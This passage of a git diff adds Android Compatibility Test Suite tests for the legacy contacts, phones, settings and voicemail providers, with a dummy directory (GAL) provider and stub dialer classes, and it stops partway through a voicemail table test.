+                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+            assertTrue(cursor.moveToFirst());
+            groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            cursor = People.queryGroups(mContentResolver, personId);
+            assertTrue(cursor.moveToFirst());
+            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+            cursor.close();
+
+            // People: test_people_1, Group: test_group_0
+            cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
+            cursor = People.queryGroups(mContentResolver, personId);
+            boolean found = false;
+            while (cursor.moveToNext()) {
+                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+                if (cursor.getInt(membershipGroupIdIndex) == groupId) {
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue(found);
+
+            cursor.close();
+
+            // People: test_people_2, Group: test_group_1
+            cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            String groupName = "test_group_1";
+            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
+            cursor = People.queryGroups(mContentResolver, personId);
+            List<Integer> groupIds = new ArrayList<Integer>();
+            while (cursor.moveToNext()) {
+                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+                groupIds.add(cursor.getInt(membershipGroupIdIndex));
+            }
+            cursor.close();
+
+            found = false;
+            for (int id : groupIds) {
+                cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                        Groups._ID + "=" + id, null, null, null);
+                cursor.moveToFirst();
+                if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue(found);
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    public void testMarkAsContacted() {
+        Cursor cursor;
+        try {
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            int personId = cursor.getInt(PEOPLE_ID_INDEX);
+            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+            cursor.close();
+
+            People.markAsContacted(mContentResolver, personId);
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    public void testAccessPhotoData() {
+        Context context = getInstrumentation().getTargetContext();
+        try {
+            InputStream inputStream = context.getResources().openRawResource(
+                    android.provider.cts.R.drawable.testimage);
+            int size = inputStream.available();
+            byte[] data =  new byte[size];
+            inputStream.read(data);
+
+            People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
+            InputStream photoStream = People.openContactPhotoInputStream(
+                    mContentResolver, mPeopleRowsAdded.get(0));
+            assertNotNull(photoStream);
+            Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
+            assertEquals(96, bitmap.getWidth());
+            assertEquals(64, bitmap.getHeight());
+
+            photoStream = People.openContactPhotoInputStream(mContentResolver,
+                    mPeopleRowsAdded.get(1));
+            assertNull(photoStream);
+
+            bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
+                    android.provider.cts.R.drawable.size_48x48, null);
+            assertEquals(96, bitmap.getWidth());
+            assertEquals(64, bitmap.getHeight());
+
+            bitmap = People.loadContactPhoto(context, null,
+                    android.provider.cts.R.drawable.size_48x48, null);
+            assertNotNull(bitmap);
+        } catch (IOException e) {
+            fail("Unexpected IOException");
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
new file mode 100644
index 0000000..363ba61
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.Context;
+import android.provider.Contacts.Phones;
+import android.test.AndroidTestCase;
+
+public class Contacts_PhonesTest extends AndroidTestCase {
+    public void testGetDisplayLabel() {
+        CharSequence label = "label";
+        String display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_CUSTOM, label).toString();
+        assertEquals(label, display);
+
+        CharSequence[] labels = getContext().getResources().getTextArray(
+                com.android.internal.R.array.phoneTypes);
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_HOME, label).toString();
+        assertEquals(labels[Phones.TYPE_HOME - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_MOBILE, label).toString();
+        assertEquals(labels[Phones.TYPE_MOBILE - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_WORK, label).toString();
+        assertEquals(labels[Phones.TYPE_WORK - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_FAX_WORK, label).toString();
+        assertEquals(labels[Phones.TYPE_FAX_WORK - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_FAX_HOME, label).toString();
+        assertEquals(labels[Phones.TYPE_FAX_HOME - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_PAGER, label).toString();
+        assertEquals(labels[Phones.TYPE_PAGER - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_OTHER, label).toString();
+        assertEquals(labels[Phones.TYPE_OTHER - 1], display);
+    }
+
+    public void testGetDisplayLabelCharSequenceArray() {
+        CharSequence label = "label";
+        CharSequence[] labelArray = new CharSequence[] {
+                "1 home",
+                "2 mobile",
+                "3 work",
+                "4 fax work",
+                "5 fax home",
+                "6 pager",
+                "7 other"};
+
+        String display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_CUSTOM, label, labelArray).toString();
+        assertEquals(label, display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_HOME, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_HOME - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_MOBILE, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_MOBILE - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_WORK, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_WORK - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_FAX_WORK, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_FAX_WORK - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_FAX_HOME, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_FAX_HOME - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_PAGER, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_PAGER - 1], display);
+
+        display = Phones.getDisplayLabel(getContext(),
+                Phones.TYPE_OTHER, label, labelArray).toString();
+        assertEquals(labelArray[Phones.TYPE_OTHER - 1], display);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
new file mode 100644
index 0000000..a7208aa
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.provider.Contacts.Settings;
+import android.test.InstrumentationTestCase;
+
+public class Contacts_SettingsTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+    }
+
+    public void testAccessSetting() {
+        String key1 = "key 1";
+        String value1 = "value 1";
+        String key2 = "key 2";
+        String value2 = "value 2";
+        Settings.setSetting(mContentResolver, "account", key1, value1);
+        Settings.setSetting(mContentResolver, "account", key2, value2);
+        assertEquals(value1, Settings.getSetting(mContentResolver, "account", key1));
+        assertEquals(value2, Settings.getSetting(mContentResolver, "account", key2));
+        assertNull(Settings.getSetting(mContentResolver, "account", "key not exist"));
+
+        Settings.setSetting(mContentResolver, "account", key1, value2);
+        assertEquals(value2, Settings.getSetting(mContentResolver, "account", key1));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java b/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java
index 1e07450..297a3b6 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java
@@ -32,12 +32,17 @@
 
     private static final Uri URI = ContactsContract.Data.CONTENT_URI;
 
-    public static String[] queryById(ContentResolver resolver, long dataId, String[] projection) {
+    public static String[] queryById(ContentResolver resolver, long dataId, String[] projection,
+            String selection, String[] selectionArgs) {
         Uri uri = ContentUris.withAppendedId(URI, dataId);
-        Cursor cursor = resolver.query(uri, projection, null, null, null);
+        Cursor cursor = resolver.query(uri, projection, selection, selectionArgs, null);
         return CommonDatabaseUtils.singleRecordToArray(cursor);
     }
 
+    public static String[] queryById(ContentResolver resolver, long dataId, String[] projection) {
+        return queryById(resolver, dataId, projection, null, null);
+    }
+
     public static void insertName(ContentResolver resolver, long rawContactId, String name) {
         ContentValues values = new ContentValues();
         values.put(ContactsContract.Data.MIMETYPE,
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java b/tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java
new file mode 100644
index 0000000..7609143
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.text.TextUtils;
+import android.util.Log;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+/**
+ * GAL provider for CTS.
+ */
+public class DummyGalProvider extends ContentProvider {
+    private static final String TAG = "DummyGalProvider";
+
+    public static final String AUTHORITY = "android.provider.cts.contacts.dgp";
+
+    public static final String ACCOUNT_NAME = "dummygal";
+    public static final String ACCOUNT_TYPE = StaticAccountAuthenticator.TYPE;
+
+    public static final String DISPLAY_NAME = "dummy-gal";
+
+    public static final String ERROR_MESSAGE_KEY = "error";
+    public static final String QUERY_KEY = "query";
+    public static final String CALLER_PACKAGE_NAME_KEY = "package_name";
+    public static final String LIMIT_KEY = "limit";
+
+
+    private static final int GAL_DIRECTORIES = 0;
+    private static final int GAL_FILTER = 1;
+    private static final int GAL_CONTACT = 2;
+    private static final int GAL_CONTACT_WITH_ID = 3;
+    private static final int GAL_EMAIL_FILTER = 4;
+    private static final int GAL_PHONE_FILTER = 5;
+    private static final int GAL_PHONE_LOOKUP = 6;
+
+    private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+
+    static {
+        sURIMatcher.addURI(AUTHORITY, "directories", GAL_DIRECTORIES);
+        sURIMatcher.addURI(AUTHORITY, "contacts/filter/*", GAL_FILTER);
+        // The following URIs are not supported by this class.
+//        sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/entities", GAL_CONTACT);
+//        sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/#/entities", GAL_CONTACT_WITH_ID);
+//        sURIMatcher.addURI(AUTHORITY, "data/emails/filter/*", GAL_EMAIL_FILTER);
+//        sURIMatcher.addURI(AUTHORITY, "data/phones/filter/*", GAL_PHONE_FILTER);
+//        sURIMatcher.addURI(AUTHORITY, "phone_lookup/*", GAL_PHONE_LOOKUP);
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        Log.d(TAG, "uri: " + uri);
+        final int match = sURIMatcher.match(uri);
+
+        switch (match) {
+            case GAL_DIRECTORIES: {
+                return handleDirectories(projection);
+            }
+            case GAL_FILTER: {
+                try {
+                    return handleFilter(uri, projection);
+                } catch (JSONException e) {
+                    Log.e(TAG, "Caught exception", e);
+                    return null;
+                }
+            }
+        }
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    /**
+     * Build a cursor containing the directory information.
+     *
+     * See com.android.providers.contacts.ContactDirectoryManager.
+     */
+    private Cursor handleDirectories(String[] projection) {
+        MatrixCursor cursor;
+        Object[] row;
+        cursor = new MatrixCursor(projection);
+
+        row = new Object[projection.length];
+
+        for (int i = 0; i < projection.length; i++) {
+            String column = projection[i];
+            if (column.equals(Directory.ACCOUNT_NAME)) {
+                row[i] = ACCOUNT_NAME;
+            } else if (column.equals(Directory.ACCOUNT_TYPE)) {
+                row[i] = ACCOUNT_TYPE;
+            } else if (column.equals(Directory.TYPE_RESOURCE_ID)) {
+                row[i] = "";
+            } else if (column.equals(Directory.DISPLAY_NAME)) {
+                row[i] = DISPLAY_NAME;
+            } else if (column.equals(Directory.EXPORT_SUPPORT)) {
+                row[i] = Directory.EXPORT_SUPPORT_NONE;
+            } else if (column.equals(Directory.SHORTCUT_SUPPORT)) {
+                row[i] = Directory.SHORTCUT_SUPPORT_NONE;
+            } else if (column.equals(Directory.PHOTO_SUPPORT)) {
+                row[i] = Directory.PHOTO_SUPPORT_NONE;
+            }
+        }
+        cursor.addRow(row);
+        return cursor;
+    }
+
+    /**
+     * Build a cursor to return from the {@link #GAL_FILTER} URI, which returns the following
+     * information in the display_name column as json.
+     *
+     * - It checks whether the incoming account name/type match the values returned by {@link
+     * #handleDirectories(String[])}, and if not, set a error message to the result.
+     * - If above check succeeds, then sets the query parameters in the result.  The caller
+     * checks the returned values.
+     */
+    private Cursor handleFilter(Uri uri, String[] projection) throws JSONException {
+        final String accountName = uri.getQueryParameter(RawContacts.ACCOUNT_NAME);
+        final String accountType = uri.getQueryParameter(RawContacts.ACCOUNT_TYPE);
+        final String limit = uri.getQueryParameter(ContactsContract.LIMIT_PARAM_KEY);
+        final String callerPackage = uri.getQueryParameter(Directory.CALLER_PACKAGE_PARAM_KEY);
+
+        final JSONObject result = new JSONObject();
+
+        final StringBuilder error = new StringBuilder();
+        if (!ACCOUNT_NAME.equals(accountName)) {
+            error.append(String.format("Account name expected=%s but was %s\n",
+                    ACCOUNT_NAME, accountName));
+        }
+        if (!ACCOUNT_TYPE.equals(accountType)) {
+            error.append(String.format("Account type expected=%s but was %s\n",
+                    ACCOUNT_TYPE, accountType));
+        }
+
+        if (error.length() > 0) {
+            result.put(ERROR_MESSAGE_KEY, error.toString());
+        } else {
+            if (!TextUtils.isEmpty(limit)) {
+                result.put(LIMIT_KEY, limit);
+            }
+            if (!TextUtils.isEmpty(callerPackage)) {
+                result.put(CALLER_PACKAGE_NAME_KEY, callerPackage);
+            }
+            result.put(QUERY_KEY, uri.getLastPathSegment());
+        }
+        if (projection == null) {
+            projection = new String[]{Contacts.DISPLAY_NAME};
+        }
+
+        final MatrixCursor c = new MatrixCursor(projection);
+
+        Object[] row = new Object[projection.length];
+        for (int i = 0; i < projection.length; i++) {
+            String column = projection[i];
+            if (Contacts.DISPLAY_NAME.equals(column)) {
+                row[i] = result.toString();
+                continue;
+            }
+            // All other fields are null.
+        }
+
+        c.addRow(row);
+        return c;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/README.txt b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
new file mode 100644
index 0000000..f988e5b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
@@ -0,0 +1,6 @@
+This directory contains ContactsProvider2.apk related CTS tests.
+
+They can be executed with:
+
+$ adb shell am instrument -w -e package android.provider.cts.contacts \
+    android.provider.cts/android.support.test.runner.AndroidJUnitRunner
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
new file mode 100644
index 0000000..b87343c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.app.Activity;
+
+/**
+ * Does nothing. Listens to the dial intent to make the test eligible to be set as the default
+ * dialer.
+ */
+public class StubDialerActivity extends Activity {
+
+
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
new file mode 100644
index 0000000..4d84782
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.telecom.InCallService;
+
+/**
+ * An in-call service that does nothing except allowing CTS provider to be set as a default dialer.
+ */
+public class StubInCallService extends InCallService {
+
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
new file mode 100644
index 0000000..bdc973b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -0,0 +1,549 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.app.Instrumentation;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.os.RemoteException;
+import android.provider.VoicemailContract;
+import android.provider.VoicemailContract.Status;
+import android.provider.VoicemailContract.Voicemails;
+import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+
+/**
+ * CTS tests for voicemail provider accessed through {@link VoicemailContract}.
+ */
+public class VoicemailContractTest extends InstrumentationTestCase {
+
+    private static final String TAG = "VoicemailContractTest";
+
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mVoicemailProvider;
+    private ContentProviderClient mStatusProvider;
+    private Uri mVoicemailContentUri;
+    private Uri mStatusContentUri;
+    private String mSourcePackageName;
+
+    private String mPreviousDefaultDialer;
+
+    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+    private static final String PACKAGE = "android.provider.cts";
+
+    private final String FOREIGN_SOURCE = "android.provider.cts.contacts.foreign_source";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mSourcePackageName = getInstrumentation().getTargetContext().getPackageName();
+        mVoicemailContentUri = Voicemails.buildSourceUri(mSourcePackageName);
+        mStatusContentUri = Status.buildSourceUri(mSourcePackageName);
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mVoicemailProvider = mContentResolver.acquireContentProviderClient(mVoicemailContentUri);
+        mStatusProvider = mContentResolver.acquireContentProviderClient(mStatusContentUri);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Clean up, just in case we failed to delete the entry when a test failed.
+        // The cotentUris are specific to this package, so this will delete only the
+        // entries inserted by this package.
+        mStatusProvider.delete(mStatusContentUri, null, null);
+        mVoicemailProvider.delete(mVoicemailContentUri, null, null);
+        if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+            setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+        }
+        super.tearDown();
+    }
+
+    public void testVoicemailsTable() throws Exception {
+        final String[] VOICEMAILS_PROJECTION = new String[] {
+                Voicemails._ID, Voicemails.NUMBER, Voicemails.DATE, Voicemails.DURATION,
+                Voicemails.IS_READ, Voicemails.SOURCE_PACKAGE, Voicemails.SOURCE_DATA,
+                Voicemails.HAS_CONTENT, Voicemails.MIME_TYPE, Voicemails.TRANSCRIPTION,
+                Voicemails.PHONE_ACCOUNT_COMPONENT_NAME,
+                Voicemails.PHONE_ACCOUNT_ID, Voicemails.DIRTY, Voicemails.DELETED,
+                Voicemails.LAST_MODIFIED, Voicemails.BACKED_UP, Voicemails.RESTORED,
+                Voicemails.ARCHIVED, Voicemails.IS_OMTP_VOICEMAIL};
+        final int ID_INDEX = 0;
+        final int NUMBER_INDEX = 1;
+        final int DATE_INDEX = 2;
+        final int DURATION_INDEX = 3;
+        final int IS_READ_INDEX = 4;
+        final int SOURCE_PACKAGE_INDEX = 5;
+        final int SOURCE_DATA_INDEX = 6;
+        final int HAS_CONTENT_INDEX = 7;
+        final int MIME_TYPE_INDEX = 8;
+        final int TRANSCRIPTION_INDEX= 9;
+        final int PHONE_ACCOUNT_COMPONENT_NAME_INDEX = 10;
+        final int PHONE_ACCOUNT_ID_INDEX = 11;
+        final int DIRTY_INDEX = 12;
+        final int DELETED_INDEX = 13;
+        final int LAST_MODIFIED_INDEX = 14;
+        final int BACKED_UP_INDEX = 15;
+        final int RESTORED_INDEX = 16;
+        final int ARCHIVED_INDEX = 17;
+        final int IS_OMTP_VOICEMAIL_INDEX = 18;
+
+        String insertCallsNumber = "0123456789";
+        long insertCallsDuration = 120;
+        String insertSourceData = "internal_id";
+        String insertMimeType = "audio/mp3";
+        long insertDate = 1324478862000L;
+
+        String updateCallsNumber = "9876543210";
+        long updateCallsDuration = 310;
+        String updateSourceData = "another_id";
+        long updateDate = 1324565262000L;
+
+        // Test: insert
+        ContentValues value = new ContentValues();
+        value.put(Voicemails.NUMBER, insertCallsNumber);
+        value.put(Voicemails.DATE, insertDate);
+        value.put(Voicemails.DURATION, insertCallsDuration);
+        // Source package is expected to be inserted by the provider, if not set.
+        value.put(Voicemails.SOURCE_DATA, insertSourceData);
+        value.put(Voicemails.MIME_TYPE, insertMimeType);
+        value.put(Voicemails.IS_READ, false);
+        value.put(Voicemails.HAS_CONTENT, true);
+        value.put(Voicemails.TRANSCRIPTION, "foo");
+        value.put(Voicemails.PHONE_ACCOUNT_COMPONENT_NAME, "com.foo");
+        value.put(Voicemails.PHONE_ACCOUNT_ID, "bar");
+        value.put(Voicemails.DIRTY, 0);
+        value.put(Voicemails.DELETED, 0);
+        value.put(Voicemails.BACKED_UP, 0);
+        value.put(Voicemails.RESTORED, 0);
+        value.put(Voicemails.ARCHIVED, 0);
+        value.put(Voicemails.IS_OMTP_VOICEMAIL, 0);
+
+        Uri uri = mVoicemailProvider.insert(mVoicemailContentUri, value);
+        Cursor cursor = mVoicemailProvider.query(
+                mVoicemailContentUri, VOICEMAILS_PROJECTION,
+                Voicemails.NUMBER + " = ?",
+                new String[] {insertCallsNumber}, null, null);
+        assertTrue(cursor.moveToNext());
+        assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
+        assertEquals(insertDate, cursor.getLong(DATE_INDEX));
+        assertEquals(insertCallsDuration, cursor.getLong(DURATION_INDEX));
+        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
+        assertEquals(insertSourceData, cursor.getString(SOURCE_DATA_INDEX));
+        assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
+        assertEquals(0, cursor.getInt(IS_READ_INDEX));
+        assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
+        assertEquals("foo",cursor.getString(TRANSCRIPTION_INDEX));
+        assertEquals("com.foo",cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
+        assertEquals("bar",cursor.getString(PHONE_ACCOUNT_ID_INDEX));
+        assertEquals(0,cursor.getInt(DIRTY_INDEX));
+        assertEquals(0,cursor.getInt(DELETED_INDEX));
+        assertEquals(0,cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(0,cursor.getInt(RESTORED_INDEX));
+        assertEquals(0,cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(0,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        int id = cursor.getInt(ID_INDEX);
+        assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
+        cursor.close();
+
+        // Test: update
+        value.clear();
+        value.put(Voicemails.NUMBER, updateCallsNumber);
+        value.put(Voicemails.DATE, updateDate);
+        value.put(Voicemails.DURATION, updateCallsDuration);
+        value.put(Voicemails.SOURCE_DATA, updateSourceData);
+        value.put(Voicemails.DIRTY, 1);
+        value.put(Voicemails.DELETED, 1);
+        value.put(Voicemails.BACKED_UP, 1);
+        value.put(Voicemails.RESTORED, 1);
+        value.put(Voicemails.ARCHIVED, 1);
+        value.put(Voicemails.IS_OMTP_VOICEMAIL, 1);
+
+        mVoicemailProvider.update(uri, value, null, null);
+        cursor = mVoicemailProvider.query(mVoicemailContentUri, VOICEMAILS_PROJECTION,
+                Voicemails._ID + " = " + id, null, null, null);
+        assertEquals(1, cursor.getCount());
+        assertTrue(cursor.moveToNext());
+        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
+        assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
+        assertEquals(updateDate, cursor.getLong(DATE_INDEX));
+        assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
+        assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
+        assertEquals(1,cursor.getInt(DIRTY_INDEX));
